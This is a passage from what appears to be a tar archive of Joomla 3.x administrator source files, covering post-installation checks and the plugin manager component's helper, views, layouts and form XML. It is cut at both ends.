 * This file contains post-installation message handling for the checking minimum PHP version support
 */

defined('_JEXEC') or die;

/**
 * Alerts the user we are collecting anonymous data as of Joomla 3.5.0.
 *
 * @return  boolean
 *
 * @since   3.5
 */
function admin_postinstall_statscollection_condition()
{
	return true;
}
com_admin/postinstall/htaccess.php000060400000001212152455305270013354 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for notifying users of a change
 * in the default .htaccess and web.config files.
 */

defined('_JEXEC') or die;

/**
 * Notifies users of a change in the default .htaccess or web.config file
 *
 * This check returns true regardless of condition.
 *
 * @return  boolean
 *
 * @since   3.4
 */
function admin_postinstall_htaccess_condition()
{
	return true;
}
com_admin/postinstall/languageaccess340.php000060400000002300152455305270014752 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for the checks if the installation is
 * affected by the issue with content languages access in 3.4.0
 */

defined('_JEXEC') or die;

/**
 * Checks if the installation is affected by the issue with content languages access in 3.4.0
 *
 * @link    https://github.com/joomla/joomla-cms/pull/6172
 * @link    https://github.com/joomla/joomla-cms/pull/6194
 *
 * @return  boolean
 *
 * @since   3.4.1
 */
function admin_postinstall_languageaccess340_condition()
{
	$db    = JFactory::getDbo();
	$query = $db->getQuery(true)
		->select($db->quoteName('access'))
		->from($db->quoteName('#__languages'))
		->where($db->quoteName('access') . ' = ' . $db->quote('0'));
	$db->setQuery($query);
	$db->execute();
	$numRows = $db->getNumRows();

	if (isset($numRows) && $numRows != 0)
	{
		// We have rows here so we have at minumum one row with access set to 0
		return true;
	}

	// All good the query return nothing.
	return false;
}
com_admin/controller.php000060400000002173152455305270011375 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Admin Controller
 *
 * @since  1.6
 */
class AdminController extends JControllerLegacy
{
	/**
	 * View method
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}.
	 *
	 * @return  \JControllerLegacy  A \JControllerLegacy object to support chaining.
	 *
	 * @since   3.9
	 */
	public function display($cachable = false, $urlparams = array())
	{
		$viewName = $this->input->get('view', $this->default_view);
		$format = $this->input->get('format', 'html');

		// Check CSRF token for sysinfo export views
		if ($viewName === 'sysinfo' && ($format === 'text' || $format === 'json'))
		{
			// Check for request forgeries.
			$this->checkToken('GET');
		}

		return parent::display($cachable, $urlparams);
	}
}
com_plugins/access.xml000060400000001010152455305270011042 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_plugins">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_plugins/helpers/plugins.php000060400000006522152455305270012730 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugins component helper.
 *
 * @since  1.6
 */
class PluginsHelper
{
	public static $extension = 'com_plugins';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 */
	public static function addSubmenu($vName)
	{
		// No submenu for this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function.
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions.
		return JHelperContent::getActions('com_plugins');
	}

	/**
	 * Returns an array of standard published state filter options.
	 *
	 * @return  array    The HTML code for the select tag
	 */
	public static function publishedOptions()
	{
		// Build the active state filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '1', 'JENABLED');
		$options[] = JHtml::_('select.option', '0', 'JDISABLED');

		return $options;
	}

	/**
	 * Returns a list of folders filter options.
	 *
	 * @return  string    The HTML code for the select tag
	 */
	public static function folderOptions()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(folder) AS value, folder AS text')
			->from('#__extensions')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->order('folder');

		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $options;
	}

	/**
	 * Returns a list of elements filter options.
	 *
	 * @return  string    The HTML code for the select tag
	 */
	public static function elementOptions()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(element) AS value, element AS text')
			->from('#__extensions')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->order('element');

		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $options;
	}

	/**
	 * Parse the template file.
	 *
	 * @param   string  $templateBaseDir  Base path to the template directory.
	 * @param   string  $templateDir      Template directory.
	 *
	 * @return  JObject
	 */
	public function parseXMLTemplateFile($templateBaseDir, $templateDir)
	{
		$data = new JObject;

		// Check of the xml file exists.
		$filePath = JPath::clean($templateBaseDir . '/templates/' . $templateDir . '/templateDetails.xml');

		if (is_file($filePath))
		{
			$xml = JInstaller::parseXMLInstallFile($filePath);

			if ($xml['type'] != 'template')
			{
				return false;
			}

			foreach ($xml as $key => $value)
			{
				$data->set($key, $value);
			}
		}

		return $data;
	}
}
com_plugins/views/plugin/tmpl/edit.php000060400000012553152455305270014142 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');
$this->fieldsets = $this->form->getFieldsets('params');

$input = JFactory::getApplication()->input;

// In case of modal
$isModal  = $input->get('layout') === 'modal' ? true : false;
$layout   = $isModal ? 'modal' : 'edit';
$tmpl     = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task) {
		if (task === 'plugin.cancel' || document.formvalidator.isValid(document.getElementById('style-form'))) {
			Joomla.submitform(task, document.getElementById('style-form'));

			if (task !== 'plugin.apply') {
				if (self !== top ) {
					window.top.setTimeout('window.parent.location = window.top.location.href', 1000);
					window.parent.jQuery('#plugin" . $this->item->extension_id . "Modal').modal('hide');
				}
			}
		}
	};
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_plugins&view=plugin&layout=' . $layout . $tmpl . '&extension_id=' . (int) $this->item->extension_id); ?>" method="post" name="adminForm" id="style-form" class="form-validate">
	<div class="form-horizontal">

		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_PLUGINS_PLUGIN')); ?>

		<div class="row-fluid">
			<div class="span9">
				<?php if ($this->item->xml) : ?>
					<?php if ($this->item->xml->description) : ?>
						<h2>
							<?php
							if ($this->item->xml)
							{
								echo ($text = (string) $this->item->xml->name) ? JText::_($text) : $this->item->name;
							}
							else
							{
								echo JText::_('COM_PLUGINS_XML_ERR');
							}
							?>
						</h2>
						<div class="info-labels">
							<span class="label hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_PLUGINS_FIELD_FOLDER_LABEL', 'COM_PLUGINS_FIELD_FOLDER_DESC'); ?>">
								<?php echo $this->form->getValue('folder'); ?>
							</span> /
							<span class="label hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_PLUGINS_FIELD_ELEMENT_LABEL', 'COM_PLUGINS_FIELD_ELEMENT_DESC'); ?>">
								<?php echo $this->form->getValue('element'); ?>
							</span>
						</div>
						<div>
							<?php
							$short_description = JText::_($this->item->xml->description);
							$this->fieldset = 'description';
							$long_description = JLayoutHelper::render('joomla.edit.fieldset', $this);
							if (!$long_description) {
								$truncated = JHtml::_('string.truncate', $short_description, 550, true, false);
								if (strlen($truncated) > 500) {
									$long_description = $short_description;
									$short_description = JHtml::_('string.truncate', $truncated, 250);
									if ($short_description == $long_description) {
										$long_description = '';
									}
								}
							}
							?>
							<p><?php echo $short_description; ?></p>
							<?php if ($long_description) : ?>
								<p class="readmore">
									<a href="#" onclick="jQuery('.nav-tabs a[href=\'#description\']').tab('show');">
										<?php echo JText::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
									</a>
								</p>
							<?php endif; ?>
						</div>
					<?php endif; ?>
				<?php else : ?>
					<div class="alert alert-error"><?php echo JText::_('COM_PLUGINS_XML_ERR'); ?></div>
				<?php endif; ?>

				<?php
				$this->fieldset = 'basic';
				$html = JLayoutHelper::render('joomla.edit.fieldset', $this);
				echo $html ? '<hr />' . $html : '';
				?>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
				<div class="form-vertical">
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('ordering'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('ordering'); ?>
						</div>
					</div>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('folder'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('folder'); ?>
						</div>
					</div>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('element'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('element'); ?>
						</div>
					</div>
				</div>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if (isset($long_description) && $long_description != '') : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
			<?php echo $long_description; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php
		$this->fieldsets = array();
		$this->ignore_fieldsets = array('basic', 'description');
		echo JLayoutHelper::render('joomla.edit.params', $this);
		?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>

com_plugins/views/plugin/tmpl/modal.php000060400000002171152455305270014304 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// This code is needed for proper check out in case of modal close
JFactory::getDocument()->addScriptDeclaration('
	window.parent.jQuery(".modal").on("hidden", function () {
	if (typeof window.parent.jQuery("#plugin' . $this->item->extension_id . 'Modal iframe").contents().find("#closeBtn") !== "undefined") {
		window.parent.jQuery("#plugin' . $this->item->extension_id . 'Modal iframe").contents().find("#closeBtn").click();
		}
	});
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.apply');"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.save');"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>

com_plugins/views/plugin/tmpl/edit_options.php000060400000002402152455305270015705 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

foreach ($this->fieldsets as $name => $fieldset)
{
	if (!isset($fieldset->repeat) || isset($fieldset->repeat) && $fieldset->repeat == false)
	{
		$label = !empty($fieldset->label) ? JText::_($fieldset->label) : JText::_('COM_PLUGINS_' . $fieldset->name . '_FIELDSET_LABEL', true);
		$optionsname = 'options-' . $fieldset->name;
		echo JHtml::_('bootstrap.addTab', 'myTab', $optionsname,  $label);

		if (isset($fieldset->description) && trim($fieldset->description))
		{
			echo '<p class="tip">' . $this->escape(JText::_($fieldset->description)) . '</p>';
		}

		$hidden_fields = '';

		foreach ($this->form->getFieldset($name) as $field)
		{
			if (!$field->hidden)
			{
				?>
				<div class="control-group">
					<div class="control-label">
						<?php echo $field->label; ?>
					</div>
					<div class="controls">
						<?php echo $field->input; ?>
					</div>
				</div>
			<?php
			}
			else
			{
				$hidden_fields .= $field->input;
			}
		}
		echo $hidden_fields;

		echo JHtml::_('bootstrap.endTab');
	}
}
com_plugins/views/plugin/view.html.php000060400000003640152455305270014153 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a plugin.
 *
 * @since  1.5
 */
class PluginsViewPlugin extends JViewLegacy
{
	protected $item;

	protected $form;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->item  = $this->get('Item');
		$this->form  = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$canDo = JHelperContent::getActions('com_plugins');

		JToolbarHelper::title(JText::sprintf('COM_PLUGINS_MANAGER_PLUGIN', JText::_($this->item->name)), 'power-cord plugin');

		// If not checked out, can save the item.
		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::apply('plugin.apply');
			JToolbarHelper::save('plugin.save');
		}

		JToolbarHelper::cancel('plugin.cancel', 'JTOOLBAR_CLOSE');
		JToolbarHelper::divider();

		// Get the help information for the plugin item.
		$lang = JFactory::getLanguage();

		$help = $this->get('Help');

		if ($lang->hasKey($help->url))
		{
			$debug = $lang->setDebug(false);
			$url = JText::_($help->url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = null;
		}

		JToolbarHelper::help($help->key, false, $url);
	}
}
com_plugins/views/plugins/view.html.php000060400000004720152455305270014336 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of plugins.
 *
 * @since  1.5
 */
class PluginsViewPlugins extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->filterForm = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_plugins');

		JToolbarHelper::title(JText::_('COM_PLUGINS_MANAGER_PLUGINS'), 'power-cord plugin');

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('plugin.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('plugins.publish', 'JTOOLBAR_ENABLE', true);
			JToolbarHelper::unpublish('plugins.unpublish', 'JTOOLBAR_DISABLE', true);
			JToolbarHelper::checkin('plugins.checkin');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::preferences('com_plugins');
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_PLUGIN_MANAGER');

	}

	/**
	 * Returns an array of fields the table can be sorted by.
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value.
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'ordering'     => JText::_('JGRID_HEADING_ORDERING'),
			'enabled'      => JText::_('JSTATUS'),
			'name'         => JText::_('JGLOBAL_TITLE'),
			'folder'       => JText::_('COM_PLUGINS_FOLDER_HEADING'),
			'element'      => JText::_('COM_PLUGINS_ELEMENT_HEADING'),
			'access'       => JText::_('JGRID_HEADING_ACCESS'),
			'extension_id' => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_plugins/views/plugins/tmpl/default.php000060400000013176152455305270015026 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'ordering';

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_plugins&task=plugins.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'pluginList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_plugins&view=plugins'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('COM_PLUGINS_MSG_MANAGE_NO_PLUGINS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="pluginList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'enabled', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'COM_PLUGINS_NAME_HEADING', 'name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_PLUGINS_FOLDER_HEADING', 'folder', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_PLUGINS_ELEMENT_HEADING', 'element', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="8">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$ordering   = ($listOrder == 'ordering');
					$canEdit    = $user->authorise('core.edit',       'com_plugins');
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0;
					$canChange  = $user->authorise('core.edit.state', 'com_plugins') && $canCheckin;
					?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->folder; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass; ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->extension_id); ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('jgrid.published', $item->enabled, $i, 'plugins.', $canChange); ?>
						</td>
						<td>
							<?php if ($item->checked_out) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'plugins.', $canCheckin); ?>
							<?php endif; ?>
							<?php if ($canEdit) : ?>
								<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . (int) $item->extension_id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
									<?php echo $item->name; ?></a>
							<?php else : ?>
									<?php echo $item->name; ?>
							<?php endif; ?>
						</td>
						<td class="nowrap small hidden-phone">
							<?php echo $this->escape($item->folder); ?>
						</td>
						<td class="nowrap small hidden-phone">
							<?php echo $this->escape($item->element); ?>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->extension_id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_plugins/views/plugins/tmpl/default.xml000060400000000320152455305270015022 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PLUGINS_PLUGINS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PLUGINS_PLUGINS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_plugins/controller.php000060400000003111152455305270011757 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugins master display controller.
 *
 * @since  1.5
 */
class PluginsController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('PluginsHelper', JPATH_ADMINISTRATOR . '/components/com_plugins/helpers/plugins.php');

		// Load the submenu.
		PluginsHelper::addSubmenu($this->input->get('view', 'plugins'));

		$view   = $this->input->get('view', 'plugins');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('extension_id');

		// Check for edit form.
		if ($view == 'plugin' && $layout == 'edit' && !$this->checkEditId('com_plugins.edit.plugin', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_plugins&view=plugins', false));

			return false;
		}

		parent::display();
	}
}
com_plugins/config.xml000060400000000542152455305270011057 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC">

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_plugins"
			section="component" 
		/>
	</fieldset>
</config>
com_plugins/models/forms/filter_plugins.xml000060400000004461152455305270015255 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_plugins/models/fields" />

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_PLUGINS_FILTER_SEARCH_LABEL"
			description="COM_PLUGINS_SEARCH_IN_TITLE"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="enabled"
			type="plugin_status"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="folder"
			type="plugintype"
			onchange="this.form.submit();"
		>
			<option value="">COM_PLUGINS_OPTION_FOLDER</option>
		</field>

		<field
			name="element"
			type="pluginelement"
			onchange="this.form.submit();"
		>
			<option value="">COM_PLUGINS_OPTION_ELEMENT</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="folder ASC"
			validate="options"
		>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="enabled ASC">JSTATUS_ASC</option>
			<option value="enabled DESC">JSTATUS_DESC</option>
			<option value="name ASC">JGLOBAL_TITLE_ASC</option>
			<option value="name DESC">JGLOBAL_TITLE_DESC</option>
			<option value="folder ASC">COM_PLUGINS_HEADING_FOLDER_ASC</option>
			<option value="folder DESC">COM_PLUGINS_HEADING_FOLDER_DESC</option>
			<option value="element ASC">COM_PLUGINS_HEADING_ELEMENT_ASC</option>
			<option value="element DESC">COM_PLUGINS_HEADING_ELEMENT_DESC</option>
			<option value="access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="extension_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="extension_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_plugins/models/forms/plugin.xml000060400000002531152455305270013521 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset
		addfieldpath="/administrator/components/com_plugins/models/fields"
	>
		<field
			name="extension_id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
			class="readonly" 
		/>

		<field
			name="name"
			type="hidden"
			label="COM_PLUGINS_FIELD_NAME_LABEL"
			description="COM_PLUGINS_FIELD_NAME_DESC" 
		/>

		<field
			name="enabled"
			type="list"
			label="JSTATUS"
			description="COM_PLUGINS_FIELD_ENABLED_DESC"
			class="chzn-color-state"
			size="1"
			default="1"
			>
			<option value="1">JENABLED</option>
			<option value="0">JDISABLED</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1" 
		/>

		<field
			name="ordering"
			type="pluginordering"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC" 
		/>

		<field
			name="folder"
			type="text"
			label="COM_PLUGINS_FIELD_FOLDER_LABEL"
			description="COM_PLUGINS_FIELD_FOLDER_DESC"
			class="readonly"
			size="20"
			readonly="true" 
		/>

		<field
			name="element"
			type="text"
			label="COM_PLUGINS_FIELD_ELEMENT_LABEL"
			description="COM_PLUGINS_FIELD_ELEMENT_DESC"
			class="readonly"
			size="20"
			readonly="true" 
		/>
	</fieldset>
</form>
com_plugins/models/plugins.php000060400000017450152455305270012553 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
